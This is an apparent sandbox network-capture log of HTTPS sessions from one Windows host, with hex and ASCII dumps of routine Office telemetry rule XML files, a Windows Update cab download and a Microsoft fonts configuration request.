2024-11-12 07:30:23 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:23 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:23 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: df0930aa-501e-00a3-28a3-34c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073023Z-17df447cdb5zfhrmhC1DFWh3300000000bh000000000cnb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:23 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49722	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:23 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pOWV24n9+thOSsN&MD=xn1Luz+o HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-12 07:30:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 940be5ce-f94e-41d2-a9b1-4bab9312d2c9 MS-RequestId: ee15ea41-e355-421e-a505-a8fee13ca113 MS-CV: XJPCjEAPAEmS+fSo.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 12 Nov 2024 07:30:23 GMT Connection: close Content-Length: 24490
2024-11-12 07:30:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-12 07:30:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49735	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:24 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 07:30:24 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=206115 Date: Tue, 12 Nov 2024 07:30:24 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-12 07:30:24 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:24 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 84a9668d-801e-0078-5fa0-34bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073024Z-15869dbbcc6tjwwhhC1DFWn22800000008t0000000001q86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:24 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ee786005-101e-0065-140e-2d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073024Z-16547b76f7fnlcwwhC1DFWz6gw0000000fbg00000000d3u0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:24 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1a2e7d6b-a01e-000d-7bfc-2cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073024Z-16547b76f7fq9mcrhC1DFWq15w0000000f90000000007xh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:24 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:24 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 23cb21e1-e01e-0052-4e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073024Z-16547b76f7f7rtshhC1DFWrtqn0000000fe00000000020eg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:24 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:24 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:24 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 6ba2b82c-f01e-0071-33a3-34431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073024Z-15869dbbcc6xpvqthC1DFWq7d800000008sg00000000a895 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:24 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:25 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2e71ae26-601e-0097-6701-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073025Z-16547b76f7fq9mcrhC1DFWq15w0000000fbg0000000034ze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:25 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073025Z-16547b76f7fknvdnhC1DFWxnys0000000feg0000000013bg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:25 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 06b39b0e-901e-00a0-53a2-346a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073025Z-15869dbbcc6lxrkghC1DFWqpdc00000007qg000000005tnz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
